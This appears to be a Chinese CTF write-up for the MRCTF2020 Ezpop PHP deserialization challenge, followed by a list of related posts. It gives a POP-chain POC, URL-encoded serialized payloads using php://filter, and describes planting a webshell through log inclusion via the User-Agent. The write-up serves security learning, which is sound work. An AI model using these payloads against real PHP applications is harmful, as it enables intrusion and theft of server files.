MRCTF2020 Ezpop wp
可以通过buuoj启动环境
考的反序列化
首先做pop链的题,我们需要知道php中魔法函数的作用
在这就介绍改题所涉及的魔法函数
首先是__invoke()
在将类名当函数使用的时候调用
一般是这种题的出口
然后是__constructor
在创建该类对象时调用
__wakeup
在反序列化该类对象时调用
__toString
在将类作为字符串使用时调用
__get
访问不存在的变量,或private修饰的变量时调用
那么知道以上的知识后
再来看代码
这里是出口,我们希望最终执行文件包含,达到我们的目的
那么此处Modifier类
的$var
的值就该是我们希望包含的值
如何调用__invoke
函数?
观察得到Test类
中的__get
函数可以成为跳板
再通过Show类
的__toSting
方法去访问Test类
中不存在的值以调用__get
方法
最终到入口__wakeup
方法
那么poc如下
$T=new Test();
$S=new Show();
$M=new Modifier();
$S->source=new Show();
$S->source->str=$T;
$T->p=$M;
echo urlencode(serialize($S));
我们尝试日志包含
将$var
的值改为:file:///var/log/nginx/access.log
传入后发现漏洞存在
抓包,在ua里写入一句话木马
蚁剑连上
拿到flag
最开始没有想到直接包含flag.php 因为没想到会是这个文件名,再试试直接包含flag.php
O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A9%3A%22index.php%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D
是无法得到的,那么可以考虑用伪协议读下源码
php://filter/read=convert.base64-encode/resource=flag.php
序列化且url编码后得到
O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A9%3A%22index.php%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D
也是可以拿到flag的
MRCTF2020 Ezpop wp相关推荐
- [MRCTF2020]PYWebsite -wp
查看源码 发现一段前段验证,然后发现在目录下有一个flag.php 提示验证在后端,所以前面那个前端验证没用(也正常,前端验证都可以直接修改) 购买者的ip已经被记录,本地可以看到flag,那么使用x ...
- [BUUOJ][MRCTF2020]Ezpop
文章目录 代码审计阶段 Modifier类 Show类 Test类 构造pop链 代码审计阶段 按照步骤一步一步分析 Modifier类 首先第一个Modifier类 class Modifier { ...
- BUUCTF·[MRCTF2020]babyRSA·WP
BUUCTF在线评测 (buuoj.cn) 附件 import sympy import random from gmpy2 import gcd, invert from Crypto.Util.n ...
- 反序列化(Unserialize)漏洞详解
序列化和反序列化漏洞分析 序列化(serialize) 就将对象的状态信息转换为可以存储或传输的形式的过程 在序列化期间,对象将当前的状态写入到临时或持久性的存储区 [将状态信息保存为字符串]. ...
- cl.ez6.xyz index.php,[BJDCTF2020]EzPHP-POP链
那次某信内部比赛中有道pop链问题的题目,我当时没有做出来,所以在此总结一下,本次以buu上复现的[MRCTF2020]Ezpop为例. 题目 1 Welcome to index.php 2 < ...
- BUUCTF-MRCTF2020
WEB [MRCTF2020]PYWebsite [MRCTF2020]Ez_bypass [MRCTF2020]套娃 [MRCTF2020]Ezpop [MRCTF2020]你传你
- BUUCTF Web 第二页全部Write ups
更多笔记,可以关注yym68686.top 目录 [强网杯 2019]高明的黑客 [BUUCTF 2018]Online Tool [RoarCTF 2019]Easy Java [GXYCTF201 ...
- 【JAVA进阶架构师指南】 小白勿点
前言 本博客是长篇系列博客,旨在帮助想提升自己,突破技术瓶颈,但又苦于不知道如何进行系统学习从而提升自己的童鞋.笔者假设读者具有3-5年开发经验,java基础扎实,想突破自己的技术瓶颈,成为一位优秀的 ...
- BUUCTF·[MRCTF2020]天干地支+甲子·WP
题目来源 BUUCTF在线评测 (buuoj.cn) 附件 得到得字符串用MRCTF{}包裹 一天Eki收到了一封来自Sndav的信,但是他有点迷希望您来解决一下 甲戌 甲寅 甲寅 癸卯 己酉 甲寅 ...
最新文章
- tomcat部署 修改域名和访问域名时去掉项目名
- android xutils3.0获取服务器图片,Android端使用xUtils3.0实现文件上传
- Flink从入门到精通100篇(八)-美团点评是如何在 Flink平台建立 实时数仓的?
- 关于前端页面测试和抵御 clickjacking attack 的一些方法
- 容器编排技术 -- Kubernetes Pod 优先级和抢占
- 原来在首席架构眼里MySQL果然如此不一样!
- 科学家之殁,竟是区块链之过?
- 赢在微点答案专区英语_自考英语二太难?看了墨盒的单词本,保你信心满满去考试!...
- Java2实用教程(第6版)实验指导与习题解答
- 真正的云主机到底是什么样的?转发
- 短视频新媒体运营策划推广工作计划表模板
- 软考中常见的英文缩写
- 计算机启动硬盘引导过程,如何重建mbr|硬盘重建主引导记录(mbr)步骤
- 计算机状态代码意义,DELL电脑自检代码错误提示含义
- keras中model.compile()基本用法
- 计算机关闭声音快捷键,电脑声音快捷键【运用方式】
- win10照片打不开,解决方法
- pyautogui使用经验
- 潇洒郎: 解决联想电脑Y430p 一碰触摸板就蓝屏
- 开启及清除NV_RESTORE信息的方法